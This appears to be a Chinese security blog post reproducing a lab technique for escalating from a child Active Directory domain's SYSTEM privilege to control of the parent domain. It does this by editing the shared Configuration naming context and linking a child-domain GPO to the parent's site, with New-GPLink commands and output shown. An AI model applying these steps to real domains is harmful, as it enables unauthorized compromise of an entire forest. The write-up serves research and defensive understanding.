翻阅笔记发现一篇文章(附在附录)提到通过子域的System权限可以突破获取到父域权限,本文将对此技术进行尝试复现研究。
环境信息:
子域:187、sub.cs.org
父域:197、cs.org
首先通过在子域的域控机器上打开mmc.exe->连接ADSI->配置来查看子域的配置命名上下文: 从配置中可以看到配置命名上下文的域名实际上是父域cs.org,因此判断子域中看到的信息可能是父域的副本: 继续查看配置对象的安全描述符中的ACL,发现子域没有权限去变更: 但是可以看到除了域用户、域管用户以外,还有一个特权ACL条目叫SYSTEM,该条目拥有完全控制权限: SYSTEM属于一个特殊用户,不属于域内用户,因此理论上只要能做到是SYSTEM权限就能控制对象条目而不用关注是不是域内管理员。因此尝试使用SYSTEM权限继续打开配置命名上下文: 可以看到当子域拥有了SYSTEM权限后就可以修改来自父域副本的配置对象:
既然可以控制父域的配置命名上下文,那如何利用呢?网上提到有几种方式,一种是通过GPO、还有的是提到给父域添加一个自己可控的证书模板(ESC1),这里以GPO组策略为例。先在子域域控上创建一个GPO:
New-GPO jumbo_gpo_test
设置计划任务: 通过SYSTEM权限把子域的GPO link到父域:
PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN
HostNane ServerObjectDN
-------- --------------
{} CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org
PS C:\Windows\system32>New-GPLink-Name"jumbo_gpo_test"-Target"CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org"-Serversub.cs.org
GpoId:76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName: jumbo_gpo_test
Enabled:True
Enforced:False
Target: CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order: 1
父域刷新组策略可以看到子域链接过来的GPO: 父域更新组策略成功执行计划任务notepad.exe:
gpupdate /force
刷新组策略后通过gpresult /r命名也可以看到添加的GPO:
本文介绍了除SidHistory以外还可以通过子域的System权限进行突破到父域的攻击手法。
https://blog.improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)


